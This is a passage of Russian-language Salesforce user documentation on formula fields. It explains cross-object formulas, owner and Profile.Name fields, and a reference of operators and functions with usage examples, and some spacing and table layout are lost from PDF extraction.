использовать поле RecordType.Name, так как организации используют разные коды.
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Рекомендуем избегать использования поля $RecordType в формулах, кроме формул стандартных значений. Взамен,
рекомендуем использовать поле слияния RecordType  (например, Account.RecordType.Name) или поле объекта
RecordTypeId.

СМ. ТАКЖЕ:

Советы по созданиюформул

Советы по использованию текстовых полей формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Прежде чем воспользоваться функцией HYPERLINK, просмотрите различия,
существующие между гиперссылками и настраиваемыми ссылками.

– Поля формулы гиперссылки аналогичны другим настраиваемым полям,
доступным для отображения в списковых представлениях и отчетах.

– Настраиваемые ссылки отображаются в предопределенном разделе страниц
сведений; поляформулыгиперссылкиотображаютсявлюбойвыбраннойобласти
страницы сведений.

– Настраиваемыессылкипозволяютопределять свойстваотображения (например,
положение текущего или отдельного всплывающего окна); поля формулы
гиперссылки открывают новое окно обозревателя по умолчанию или позволяют выбирать другое целевое окно
или рамку.

– Формулы могут ссылаться на настраиваемые ссылки. Прежде чем удалить настраиваемую ссылку, убедитесь, что
она не использутся полем формулы.

– Поля формулы гиперссылки, содержащие относительные URL-адреса страниц Salesforce (например,
/rpt/reportwizard.jsp), могут быть добавлены в списковые представления, отчеты и связанные списки.
Тем не менее, прежде чем добавить формулу гиперссылки в макет поиска, введите полный URL-адрес, включая
имя сервера и протокол https://. Поля формулы недоступны в макетах результатов поиска.

• Чтобы вставить текст в поле формулы, добавьте кавычки вокруг текста. Например, чтобы отобразить строку
«ОБРАЩЕНИЕ: 123», воспользуйтесь следующейформулой: "ОБРАЩЕНИЕ: "& CaseNumber__c.

• Чтобы вставить кавычки или обратную косую черту в качестве литерального значения, воспользуйтесь обратной
косой чертой (\). Например, "Проблема\\Обращение \"Билет\": " в формуле отображает строку
«Проблема\Обращение "Билет":» на страницах сведений.

СМ. ТАКЖЕ:

Советы по созданиюформул

Что такое формулы кросс-объектов?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Формулы кросс-объектов — это формулы, охватывающие два связанных объекта и
ссылающиесянаполя слияния этихобъектов. Формулыкросс-объектовмогут ссылаться
на поля слияния основного объекта («родителя»), если объект является подробным во
взаимосвязи «Основная — подробная». Формулы кросс-объектов формулы также
работают с взаимосвязями поиска.

Ссылкинаполямогутнаходиться вобъектахнарасстояниидо 10 взаимосвязей. Формулы
кросс-объектов доступны так же, как и обычные формулы, кроме случаев создания
стандартных значений.
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Прим.: При создании формулы, ссылающейся на поле другого объекта, и ее добавлении в макет страницы, поле
объектадоступнопользователям, несмотрянанедоступностьзаписиобъекта. Например, присозданииполяформулы
для объекта «Обращение», ссылающегося на поле организации, и его добавлении в макет страницы обращений,
данное поле доступно пользователям, несмотря на недоступность записи организации.

СМ. ТАКЖЕ:

Создание формул

Создание формул кросс-объектов на вкладке «Простая формула»

Создание кросс-объектных формул на вкладке «Сложная формула»

Создание формул кросс-объектов на вкладке «Простая формула»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
формул кросс-объектов:
• «Настройка

приложения»

Чтобы создать формулу кросс-объекта, введите имена взаимосвязей для охватываемых
объектов и укажите поле для ссылки при создании формулы на вкладке «Простая
формула». Чтобыразделитьименавзаимосвязейдлякаждогообъектаиполе, рекомендуем
использовать точки.

Пример: Например, введите Contact.Account.Name, чтобы добавить ссылку
на поле «Имя организации» для контакта, связанного с обращением, в поле
формулыдляобъекта «Обращение». Убедитесьвиспользованииименвзаимосвязей
объектов, а не меток. Имя взаимосвязи обычно соответствует имени объекта, но
формально является именем поля взаимосвязи.

При обращении к имени родительской организации в объекте «Организация»
воспользуйтесьсинтаксисом Parent.Name, ане Account.Name. Придобавлении
ссылкинанастраиваемыйобъектрекомендуемдополнитьегоимядвумясимволами
подчеркивания и буквой r. Например, Position__r.title__c ссылается на
поле «Должность»  (title__c) настраиваемого объекта «Позиция».

Прим.: При созданииформулы, ссылающейся на поле другого объекта, и ее
добавлениивмакетстраницы, полеобъектадоступнопользователям, несмотря
на недоступность записи объекта. Например, при создании поля формулы
для объекта «Обращение», ссылающегося на поле организации, и его
добавлении в макет страницы обращений, данное поле доступно
пользователям, несмотря на недоступность записи организации.

СМ. ТАКЖЕ:

Создание кросс-объектных формул на вкладке «Сложная формула»

Что такое формулы кросс-объектов?
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Создание кросс-объектных формул на вкладке «Сложная формула»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
формул кросс-объектов:
• «Настройка

приложения»

Чтобы создать формулу кросс-объекта, нажмите кнопку «Вставить поле» ищелкните
связанныйобъект дляотображения списка егополейприсозданииформулына вкладке
«Сложная формула», либо для утверждений или правил (например, бизнес-правила,
правила проверки, правила назначения, правила автоматического ответа или правила
расширения). Связанные объекты помечаются символом (>).

Прим.: При создании формулы, ссылающейся на поле другого объекта, и ее
добавлении в макет страницы, поле объекта доступно пользователям, несмотря на
недоступностьзаписиобъекта. Например, присозданииполяформулыдляобъекта
«Обращение», ссылающегося на поле организации, и его добавлении в макет
страницы обращений, данное поле доступно пользователям, несмотря на
недоступность записи организации.

Пример: Значениеполяслияния Profile.Name можетизменятьсяв зависимости
отконтекста ссылающегосяполяформулыкросс-объекта. Значениемнастраницах
сведенийявляетсяимяпрофиля, авсписковыхпредставленияхиотчетахвнутреннее
значение связанного профиля. Если формула содержит поле слияния
Profile.Name, рекомендуем использовать функцию OR для отображения
ожидаемого результата. Например:

IF

(OR

(LastModifiedBy.Profile.Name = "Standard User",

LastModifiedBy.Profile.Name = "PT2"),

"Standard", "Not Standard")

Данное правило не применяется к именам профилей, используемым глобальной
переменной $Profile.

СМ. ТАКЖЕ:

Создание формул кросс-объектов на вкладке «Простая формула»

Что такое формулы кросс-объектов?

Советы по созданию формул кросс-объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

• Формулы кросс-объектов, ссылающиеся на поля валюты, преобразуют значение в
валютузаписи, содержащейформулу. Еслииспользуемоеполевалютыпринадлежит
настраиваемому параметру, то значение поля не преобразуется в валюту записи.

• Система Salesforce позволяет использовать не более 10 уникальных взаимосвязей на
объект в формулах кросс-объектов. Данное ограничение является общим для всех
полей формулы, правил и фильтров поиска. Например, если две разные формулы
для возможностей ссылаются на два разных поля связанной организации, то
используется только одна уникальная взаимосвязь (между возможностями и
организациями).

• Поля сводного резюмирования не могут ссылаться на формулы кросс-объектов.

• Формулы кросс-объектов не могут ссылаться на поля слияния объектов, связанных с действиями. Например, поля
слияния для контактов и организаций недоступны в формулах задач и событий.
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Использование поля ответственного

Некоторыеобъектыподдерживаютразныетипыобъектовдляполяответственного (например, «Пользователь», «Очередь»
или «Календарь»). Объекты, поддерживающиеданный алгоритм, должныточноопределятьнужныйтипответственного
при создании формулы кросс-объекта посредством поля ответственного.

Например, еслиочерединеиспользуются, то адрес эл. почтыответственногоможетотображатьсяпосредствомформулы
Owner:User.Email. Если очереди используются, то формула может выглядеть следующим образом.

IF( ISBLANK( Owner:User.Id ), Owner:Queue.QueueEmail, Owner:User.Email )

Ниже приведен пример выбора поля ответственного для объекта «Интерес» на вкладке «Сложная формула».

Прим.:

• Страницы Visualforce не поддерживают ссылки на ответственных. Например, формула
{!Case.Owner:User.FirstName} не может быть добавлена на страницу, где объект «Обращение»
используетсякак контроллер. Темнеменее, текущаяформулаохватаможетбытьдобавленанастраницуVisualforce.
Например, если настраиваемая текстовая формула MyFormula__c применяется к объекту «Обращение» со
значением Owner:User.FirstName, то формула {!Case.MyFormula__c} может быть добавлена на
страницу Visualforce.

• Объект «Очередь» не поддерживает ссылки на ответственных. Например, формула
Owner:Queue.Owner.Email является недопустимой.

• Если формула содержит Owner:User.имяПоля и Owner:Queue.имяПоля, то оба компонента учитываются
ограничением, равным 10 уникальным взаимосвязям на объект в формулах кросс-объектов.

• Прииспользованииполя ответственного для объектов, которые не поддерживаюточереди, формула содержит
объект «Пользователь» неявно. Формула должна выглядеть следующим образом: Owner.имяПоля, но не
Owner:User.имяПоля.

Использование поля слияния Profile.Name

Значениеполяслияния Profile.Name определяетсяконтекстомссылающегосяполяформулыкросс-объекта. Значением
на страницах сведений является имя профиля, а в списковых представлениях и отчетах внутреннее значение связанного
профиля. Если формула содержит поле слияния Profile.Name, рекомендуем использовать функцию OR для
отображения ожидаемого результата. Например:

IF
(OR

(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name =
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"PT2"),
"Standard", "Not Standard")

Рекомендации выше не применяются к именам профилей, используемым глобальной переменной $Profile.

СМ. ТАКЖЕ:

Создание кросс-объектных формул на вкладке «Сложная формула»

Что такое формулы кросс-объектов?

Операторы и функции формулы
Ниже перечислены операторы ифункции, доступные для созданияформул. Чтобыпросмотреть сведения об операторе
или функции, щелкните соответствующее имя. Если не указано иное, то все функции доступны во всех компонентах,
поддерживающих использование формул (например, поля формулы, правила проверки, процессы утверждения и
бизнес-правила).

Прим.: Лишние пробелы в примерах ниже пропускаются.

• Математические операторы

• Логические операторы

• Текстовые операторы

• Функции даты и времени

• Информационные функции

• Логические функции

• Математические функции

• Текстовые функции

• Функции резюмирования

• Расширенные функции

• Функции кодировки

Математические операторы

ОписаниеОператор

Данный оператор вычисляет сумму двух значений.+ (сложение)

Данный оператор вычисляет разность двух значений.- (вычитание)

Данный оператор умножает значения.* (умножение)

Данный оператор делит значения./ (деление)

Данный оператор возводит число в указанную степень.^ (возведение в
степень)

Данный оператор определяет первоочередность оценивания выражения, заключенного в
скобки. Все остальные выражения оцениваются согласно стандартному приоритету
операторов.

() (открывающая и
закрывающая скобки)
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Логические операторы

ОписаниеОператор

Данный оператор оценивает равенство двух значений. Операторы = и == являются
взаимозаменяемыми.

= и == (равно)

Данный оператор оценивает неравенство двух значений.<> и != (не равно)

Данный оператор оценивает значение на предмет предшествования значению,
расположенному справа.

< (меньше)

Данныйоператороценивает значениенапредмет следования за значением, расположенным
справа.

> (больше)

Данныйоператороцениваетзначениенапредметпредшествованияилиравенства значению,
расположенному справа.

<= (меньше или равно)

Данный оператор оценивает значение на предмет следования или равенства значению,
расположенному справа.

>= (больше или равно)

Данный оператор оценивает истинность обоих значений или выражений. Рекомендуем
использовать данный оператор как альтернативу логической функции «И».

&& (И)

Данный оператор оценивает истинность как минимум одного значения или выражения.
Рекомендуемиспользоватьданныйоператоркак альтернативулогическойфункции «ИЛИ».

|| (ИЛИ)

Текстовые операторы

ОписаниеОператор

Данный оператор связывает как минимум две строки.& (объединение)

Функции даты и времени

ОписаниеФункция

Данная функция возвращает значение даты на основе введенных значений года, месяца и
дня. Система Salesforce отображает ошибку на странице сведений, если значение функции

DATE

DATE, используемое в поле формулы, является недопустимой датой (например, 29 февраля
невисокосного года).

Данная функция возвращает значение даты для выражения даты/времени или текстового
выражения.

DATEVALUE

Данная функция возвращает значение года, месяца, дня и времени по Гринвичу.DATETIMEVALUE

Данная функция возвращает день месяца в виде числа от 1 до 31.DAY

Данная функция возвращает месяц в виде числа от 1 (январь) до 12 (декабрь).MONTH

Данная функция возвращает текущие дату и время.NOW
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ОписаниеФункция

Данная функция возвращает текущую дату как тип данных «Дата».TODAY

Данная функция возвращает четырехзначный год.YEAR

Информационные функции

ОписаниеФункция

Данная функция определяет наличие значения для выражения и, в случае его отсутствия,
возвращает выражение замены. При наличии значения функция возвращает значение
выражения.

BLANKVALUE

Данная функция определяет наличие значения для выражения и, в случае его отсутствия,
возвращает значение «ИСТИНА». При наличии значения функция возвращает значение
«ЛОЖЬ».

ISBLANK

Даннаяфункцияопределяетнулевое (пустое) выражениеи, в случаеистинности, возвращает
значение «ИСТИНА». При наличии значения функция возвращает значение «ЛОЖЬ».

ISNULL

Важное замечание: Рекомендуем использовать функцию ISBLANK вместо функции
ISNULL в новых формулах. Функция ISBLANK аналогична функции ISNULL, но
поддерживает текстовые поля. Изменение текущих формул не требуется, так как
система Salesforce не отменяет поддержку функции ISNULL.

Даннаяфункцияопределяетнулевое (пустое) выражениеи, в случаеистинности, возвращает
выражение замены. При наличии значения функция возвращает значение выражения.

NULLVALUE

Важное замечание: РекомендуемиспользоватьфункциюBLANKVALUEвместофункции
NULLVALUE в новыхформулах. Функция BLANKVALUE аналогичнафункцииNULLVALUE,
но поддерживает текстовые поля. Изменение текущих формул не требуется, так как
система Salesforce не отменяет поддержку функции NULLVALUE.

Данная функция возвращает предыдущее значение поля.PRIORVALUE

Логические функции

ОписаниеФункция

Даннаяфункциявозвращает значение «ИСТИНА», есливсе значенияявляютсяистинными,
или значение «ЛОЖЬ», если как минимум одно значение является ложным.

AND

Даннаяфункцияпроверяетзаданноевыражениеотносительнопоследовательностизначений.
Если выражение равно значению, то функция возвращает соответствующий результат. В
противном случае функция возвращает значение другой_результат.

CASE

Даннаяфункцияопределяетистинностьилиложностьвыражений. Есливыражениеистинно,
тофункция возвращает заданное значение. Впротивномслучаефункция возвращаетдругое
значение.

IF
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ОписаниеФункция

Даннаяфункциясравнивает значениеполя спредыдущимзначениеми, в случаеихразличия,
возвращает значение «ИСТИНА». В противном случае функция возвращает значение
«ЛОЖЬ».

ISCHANGED

Даннаяфункцияпроверяетформулунапредметвыполненияприсозданиизаписии, в случае
еевыполнения, возвращаетзначение «ИСТИНА». Приобновлениитекущейзаписифункция
возвращает значение «ЛОЖЬ».

ISNEW

Даннаяфункцияопределяет текстовое значение, являющеесячислом, и, в случаеистинности,
возвращает значение «ИСТИНА». В противном случае функция возвращает значение
«ЛОЖЬ».

ISNUMBER

Данная функция возвращает значение «ЛОЖЬ» для значения «ИСТИНА», а значение
«ИСТИНА» для значения «ЛОЖЬ».

NOT

Даннаяфункцияопределяетистинностьилиложность выражений. Есликакминимумодно
выражение истинно, то функция возвращает значение «ИСТИНА». В противном случае
возвращает значение «ЛОЖЬ».

OR

Математические функции

ОписаниеФункция

Даннаяфункциявычисляет абсолютное значениечисла. Абсолютное значение — эточисло
без знака плюса или минуса.

ABS

Данная функция округляет число в большую сторону.CEILING

Данная функция возвращает значение для экспоненты заданного числа.EXP

Данная функция округляет число в меньшую сторону.FLOOR

Данная функция возвращает натуральный логарифм заданного числа. Основанием
натуральных логарифмов является постоянное значение числа Е, равное 2,71828182845904.

LN

Данная функция возвращает десятичный логарифм числа.LOG

Данная функция возвращает самое большое число из списка чисел.MAX

Данная функция возвращает самое маленькое число из списка чисел.MIN

Данная функция возвращает остаток от деления числа.MOD

Данная функция возвращает ближайшее число, ограничивая его заданным количеством
цифр.

ROUND

Данная функция возвращает положительный квадратный корень заданного числа.SQRT
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Текстовые функции

ОписаниеФункция

Данная функция определяет текст, начинающийся с конкретных символов, и, в случае
истинности, возвращает значение «ИСТИНА». В противном случае возвращает значение
«ЛОЖЬ».

BEGINS

Данная функция вставляет разрыв в текстовую строку.BR

Даннаяфункцияпреобразует 15-значныйкодв 18-значныйкод, нечувствительныйкрегистру.CASESAFEID

Данная функция сравнивает два текстовых аргумента и, если первый аргумент содержит
второйаргумент, возвращаетзначение «ИСТИНА». Впротивномслучаевозвращаетзначение
«ЛОЖЬ».

CONTAINS

Данная функция возвращает позицию строки внутри текстовой строки, представленной в
виде числа.

FIND

Данная функция возвращает код сеанса пользователя.GETSESSIONID

Даннаяфункция создает ссылку на указанный URL-адрес, используемый указанным текстом.HYPERLINK

Даннаяфункция вставляетизображение с альтернативнымтекстоми заданнойвысотойили
шириной.

IMAGE

Данная функция определяет значение, выбранное в поле раскрывающегося списка со
множественным выбором, которое равняется заданному текстовому литералу.

INCLUDES

Данная функция определяет значение поля раскрывающегося списка, которое равняется
заданному текстовому литералу.

ISPICKVAL

Данная функция возвращает указанное количество символов из начала текстовой строки.LEFT

Данная функция возвращает количество символов в заданной текстовой строке.LEN

Данная функция преобразует все буквы заданной текстовой строки в строчные. Данная
функция обрабатывает только буквы. При выборе региона применяются соответствующие
правила.

LOWER

Данная функция вставляет указанные символы слева от текстовой строки.LPAD

Даннаяфункция возвращает указанное количество символовиз серединытекстовойстроки,
начиная с исходной позиции.

MID

Данная функция возвращает указанное количество символов из конца текстовой строки.RIGHT

Данная функция вставляет указанные символы справа от текстовой строки.RPAD

Данная функция заменяет устаревший текст новым текстом.SUBSTITUTE

Данная функция преобразует поле типа «Процент», «Число», «Дата», «Дата/время» или
«Валюта» в текст при использованииформул. Кроме того, функция преобразует значения

TEXT

раскрывающегося списка в текст при использовании правил утверждения, правил этапов
утверждения, бизнес-правил, правилрасширения, правилназначения, правилавтоматического
ответа, правил проверки, полей формулы, обновлений поля или настраиваемых кнопок и
ссылок.
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ОписаниеФункция

Даннаяфункцияудаляетпробелыисимволытабуляцииизначалаиконцатекстовойстроки.TRIM

Данная функция преобразует все буквы заданной текстовой строки в прописные. Данная
функция обрабатывает только буквы. При выборе региона применяются соответствующие
правила.

UPPER

Данная функция преобразует текстовую строку в число.VALUE

Функции резюмирования
Ниже перечисленыфункции, доступные в сводных, матричных и составных отчетах.

ОписаниеФункция

Даннаяфункция возвращает значение указаннойродительской группировки. Родительская
группировка — этолюбойвышестоящийуровеньнад группировкой, содержащейформулу.

PARENTGROUPVAL

Даннаяфункция может использоваться только в настраиваемыхформулах резюмирования
для создания отчетов.

Данная функция возвращает значение указанной предыдущей группировки. Предыдущая
группировка — это группировка, расположенная в отчете перед текущей группировкой.

PREVGROUPVAL

Выберите уровень группировки и инкремент. Инкремент — это количество столбцов или
строк, расположенныхперед текущимполемрезюмирования. Значениепо умолчанию: «1»;
максимальноезначение: «12». Даннаяфункцияможетиспользоватьсятольковнастраиваемых
формулах резюмирования для создания отчетов.

Расширенные функции

ОписаниеФункция

Данная функция возвращает массив строк в виде кодов записей для выбранных записей
списка (например, списковое представление или связанный список).

GETRECORDIDS

Данная функция возвращает содержимое фрагмента S-Control. Рекомендуем использовать
даннуюфункциюдляповторногоиспользованияобщего кода в разных элементах S-Control.

INCLUDE

Даннаяфункция возвращает относительный URL-адрес в виде ссылки (теги href и anchor) для
настраиваемого элемента S-Control или страницы Salesforce.

LINKTO

Данная функция сравнивает текстовое поле с регулярным выражением и, в случае их
совпадения, возвращает значение «ИСТИНА». В противном случае функция возвращает

REGEX

значение «ЛОЖЬ». Регулярноевыражение — этострока, используемаядляописанияформата
строки в соответствии с определенными правилами синтаксиса.

Данная функция возвращает тег сценария с источником для заданного URL-адреса.
Рекомендуем использовать даннуюфункцию для обращения к инструментарию Force.com
AJAX Toolkit или другим инструментариям JavaScript.

REQUIRESCRIPT
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ОписаниеФункция

Данная функция возвращает относительный URL-адрес для действия, элемента S-Control,
страницы Visualforce или файла из архива статического ресурса на странице Visualforce.

URLFOR

Данная функция возвращает значение путем поиска связанного значения в настраиваемом
объекте подобно функции Excel VLOOKUP().

VLOOKUP

Функции кодировки

ОписаниеФункция

Данная функция кодирует значения текстовых полей и полей слияния для использования
в HTML путем замены символов, зарезервированных в HTML (например, символ ">"),
эквивалентами объекта HTML (например, &gt;).

HTMLENCODE

Данная функция кодирует значения текстовых полей и полей слияния для использования
в JavaScript путем вставки символов перехода (например, обратная косая черта) перед
небезопасными символами JavaScript (например, апостроф).

JSENCODE

Данная функция кодирует значения текстовых полей и полей слияния для использования
внутри HTML-тегов в JavaScript путем замены символов, зарезервированных в HTML,

JSINHTMLENCODE

эквивалентамиобъекта HTML ивставкисимволовпереходапереднебезопаснымисимволами
JavaScript. JSINHTMLENCODE(некоторое_значение) — это вспомогательная функция,
эквивалентнаяфункции JSENCODE(HTMLENCODE((некоторое_значение)). Другимисловами,
функция JSINHTMLENCODE сначалакодирует некоторое_значение посредством HTMLENCODE,
а затем кодирует результат посредством JSENCODE.

Данная функция кодирует значения текстовых полей и полей слияния для использования
в URL-адресах путем замены недопустимых символов URL-адресов (например, пробелы)

URLENCODE

соответствующим кодом (см. документ RFC 3986 «Универсальный идентификатор ресурсов (URI):
общий синтаксис»). Например, пробелы заменяются кодом %20, а восклицательные знаки —
кодом %21.

СМ. ТАКЖЕ:

Операторы и функцииформулы (A – H)

Операторы и функцииформулы (I – Z)

Примеры полей сложной формулы

Операторы и функции формулы (A – H)

Ниже перечислены операторы ифункции, доступные для созданияформул. Чтобыпросмотреть сведения об операторе
или функции, щелкните соответствующее имя. Если не указано иное, то все функции доступны во всех компонентах,
поддерживающих использование формул (например, поля формулы, правила проверки, процессы утверждения и
бизнес-правила).

Прим.: Лишние пробелы в примерах ниже пропускаются.
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+ (сложение)

Данный оператор вычисляет сумму двух значений.Описание:

значение1 + значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Amount + Maint_Amount__c + Services_Amount__c

Даннаяформула вычисляет сумму полей продукта Amount, стоимости обслуживания и
комиссии за обслуживание. Обратите внимание, чтополя Maint amount и Service
Fees являются настраиваемыми полями валюты.

Пример поляформулы:

Формула EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM вычисляет все поля «Без
рассылки по эл. почте» и все поля «Не звонить», доступные в интересах отчета.

Пример отчета:

Данная формула использует тип данных «Число», который возвращает положительное
целое число.

Создайте настраиваемый объект, позволяющий пользователям отслеживать общее
количество часов, выработанных за неделю. Пример ниже позволяет запретить
пользователям сохранение табелей, содержащих более 40 часов в рабочей неделе.

Monday_Hours__c +
Tuesday_Hours__c +

Примерправилапроверки:

Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Подобнаяформула, используемаявправилепроверки, позволяетотображать следующее
сообщение об ошибке, если общее количество часов, введенных для каждого рабочего
дня, превышает 40 часов: "Your total hours cannot exceed 40". Данный пример требует
использования пяти настраиваемых полей настраиваемого объекта (по одному полю
для каждого рабочего дня).

- (вычитание)

Данный оператор вычисляет разность двух значений.Описание:

значение1 - значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Amount - Discount_Amount__c

Данная формула вычисляет разницу между полями продукта Amount и Discount
Amount. Обратите внимание, что поле Discount Amount является настраиваемым
полем валюты.

Пример:

Формула AMOUNT:SUM - Product.Discount_Amount__c:SUM вычисляетразницу
междувсемиполями Amount ивсеминастраиваемымиполями Discounted Amount,

Пример отчета:

доступными в продуктах отчета. Данная формула использует тип данных «Валюта»,
который возвращает символ валюты и знаки после запятой.
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* (умножение)

Данный оператор умножает значения.Описание:

значение1 * значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Consulting_Days__c * 1200

Данная формула умножает количество консультационных дней на 1 200, при условии,
что данное поле формулы использует тип данных «Валюта», а стоимость одного

Пример:

консультационного дня составляет 1 200 рублей. Обратите внимание, что поле
Consulting Days является настраиваемым.

Формула RowCount * AGE:AVG умножает количество записей на среднюю
продолжительность отчета. Данная формула использует тип данных «Число», который
возвращает положительное или отрицательное целое или десятичное число.

Пример отчета:

/ (деление)

Данный оператор делит значения.Описание:

значение1 / значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

AnnualRevenue/ NumberOfEmployees

Даннаяформулавычисляетсуммудоходанаодногосотрудникапосредствомполявалюты.

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

Пример:

Данная формула вычисляет количество реализованных возможностей для кампании.

Процент реализованных возможностей

Формула WON:SUM / RowCount вычисляет процент реализованных возможностей
посредством количества записей, соответствующего количеству всех возможностей в

Пример отчета:

отчете. Данная формула использует тип данных «Число», который возвращает
положительное или отрицательное целое число.

Процентная разница между себестоимостьюи продажной ценой

Формула (TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM)
/ (QUANTITY:SUM * Product2.Cost__c:SUM) вычисляетсреднююпроцентную
разницу между себестоимостью продукта и его продажной ценой на уровне отдельных
продуктов. Обратите внимание, что поле Product2.Cost__c:SUM является
настраиваемым полем валюты, которое называется Cost в продуктах и содержит
себестоимость каждого продукта. Данная формула использует тип данных «Процент»,
который возвращает положительное или отрицательное целое число. Рекомендуем
использоватьданнуюформулув сводномотчете «Возможностиспродуктами», который
суммируется по полю Product Name и содержит итоговые значения для полей
Quantity, Total Price и Cost.
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^ (возведение в степень)

Данный оператор возводит число в указанную степень.Описание:

число^целое_число и замените число полем слияния, выражением или другим числовым
значением; замените целое_число полем слияния, содержащим целое число, выражением
или любым целым числом.

Использование:

Формула NumberOfEmployees^4 возводит количество сотрудников в четвертую
степень.

Пример:

Формула ACTIVE:SUM ^ 2 возводит количество активных пользователей Salesforce
вовторуюстепень. Даннаяформулаиспользуеттипданных «Число», которыйвозвращает
положительное целое число.

Пример отчета:

целое_число не должно заменяться отрицательным числом.Советы:

() (открывающая и закрывающая скобки)

Данныйоператоропределяетпервоочередностьоцениваниявыражения, заключенного
в скобки. Все остальные выражения оцениваются согласно стандартному приоритету
операторов.

Описание:

(выражение1) выражение2... изаменитекаждое выражение полямислияния, выражениями
или другими числовыми значениями.

Использование:

Формула (Unit_Value__c - Old_Value__c) / New_Value__c вычисляет
разницу между предыдущим и новым значениями, которая затем делится на новое
значение.

Пример:

Формула (DURATIONHOURS:SUM * RowCount) / 24 вычисляетпродолжительность
всех событий, умноженнуюнаколичествозаписейза 24 часа. Даннаяформулаиспользует

Пример отчета:

тип данных «Процент», который возвращает положительное или отрицательное целое
или десятичное число, соответствующее проценту дня, затраченному на события.

= и == (равно)

Важное замечание: Нерекомендуемиспользоватьданнуюфункциюдлясравненияснулевымзначением (например,
MyDateTime__c == null). Взамен рекомендуем использовать функцию ISBLANK.

Данный оператор оценивает равенство двух значений. Операторы = и == являются
взаимозаменяемыми.

Описание:

выражение1=выражение2 или выражение1 == выражение2 и замените каждое выражение
полями слияния, выражениями или другими числовыми значениями.

Использование:

Крайний срок

Формула Due Date = CreatedDate + 5 возвращает значение «Истина», если
крайний срок наступает через пять дней после даты создания записи.

Пример:
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Сумма комиссии

IF(Probability =1, ROUND(Amount*0.02, 2), 0)

Даннаяформула вычисляет сумму комиссии, равную 2%, для возможности, вероятность
которой составляет 100%. Всем другим возможностям назначается нулевая комиссия.

Возможные результаты:

• Возможности, поле «Вероятность» которой содержит значение «90%», назначается
нулевая комиссия.

• Возможности, поле «Вероятность» которой содержит значение «100%», а поле
«Стоимость» содержит значение «100 000 рублей», назначается комиссия
«2 000 рублей».

<> и != (не равно)

Важное замечание: Нерекомендуемиспользоватьданнуюфункциюдлясравненияснулевымзначением (например,
MyDateTime__c != null). Взамен рекомендуем использовать функцию ISBLANK.

Данный оператор оценивает неравенство двух значений.Описание:

выражение1 <> выражение2 или выражение1 != выражение2 изамените каждое выражение
полями слияния, выражениями или другими числовыми значениями.

Использование:

IF(Maint_Amount__c + Services_Amount__c<> Amount,
"DISCOUNTED", "FULL PRICE")

Пример:

Данная формула отображает значение DISCOUNTED, если стоимость обслуживания и
стоимость ремонта не равны стоимости продукта. В противном случае отображается
значение FULL PRICE. Обратите внимание, что данный пример использует два
настраиваемых поля валюты Maint Amount и Services Amount.

< (меньше)

Данный оператор оценивает значение на предмет предшествования значению,
расположенному справа.

Описание:

значение1 < значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Формула IF(AnnualRevenue < 1000000, 1, 2) назначает значение «1», если
доходы не превышают одного миллиона, и значение «2», если доходы превышают один
миллион.

Пример:
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> (больше)

Данный оператор оценивает значение на предмет следования за значением,
расположенным справа.

Описание:

значение1 > значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Формула IF(commission__c > 1000000, "High Net Worth", "General")
назначает значение High Net Worth комиссии, превышающей один миллион. Обратите

Пример:

внимание, что данное поле формулы является текстовым и использует настраиваемое
поле Commission.

<= (меньше или равно)

Данный оператор оценивает значение на предмет предшествования или равенства
значению, расположенному справа.

Описание:

значение1 <= значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Формула IF(AnnualRevenue <= 1000000, 1, 2) назначает значение «1», если
доходы не превышают или равны одному миллиону, и значение «2», если доходы
превышают один миллион.

Пример:

>= (больше или равно)

Данный оператор оценивает значение на предмет следования или равенства значению,
расположенному справа.

Описание:

значение1 >= значение2 и замените каждое значение полями слияния, выражениями или
другими числовыми значениями.

Использование:

Формула IF(Commission__c >= 1000000, "YES", "NO") назначает значение
YES, если комиссия превышает или равна одному миллиону. Обратите внимание, что

Пример:

данное поле формулы является текстовым и использует настраиваемое поле валюты
Commission.

&& (И)

Данныйоператор оценивает истинность обоих значенийили выражений. Рекомендуем
использовать данный оператор как альтернативу логической функции «И».

Описание:

(логическое_значение1) && (логическое_значение2) и замените логическое_значение1 и
логическое_значение2 значениями или выражениями, которые должны быть оценены.

Использование:
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IF((Price<100 && Quantity<5),"Small", null)

Даннаяформулаотображает значение Small, еслицена составляетменее 100, а количество
менее 5. В противном случае данное поле отображается пустым.

Пример:

|| (ИЛИ)

Данныйоператор оценивает истинность как минимумодного значенияили выражения.
Рекомендуем использовать данный оператор как альтернативу логической функции
«ИЛИ».

Описание:

(логическое_значение1) || (логическое_значение2) изаменителюбоеколичествологических
ссылок значениями или выражениями, которые должны быть оценены.

Использование:

IF((ISPICKVAL(Priority, "High")) || (ISPICKVAL(Status , "New")),
ROUND(NOW()-CreatedDate, 0), null)

Данная формула возвращает количество дней, в течение которого обращение было
открыто, еслиполю Status заданозначение New илиполю Priority заданозначение
High. Если обращение открыто сегодня, то данное поле отображает нулевое значение.

Пример:

(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)
Примерправилапроверки:

Даннаяформула правила проверкиотображает следующее сообщение об ошибке, если
настраиваемоеполе Discount Rate содержитзначениевнедиапазона 0—40%: "Discount
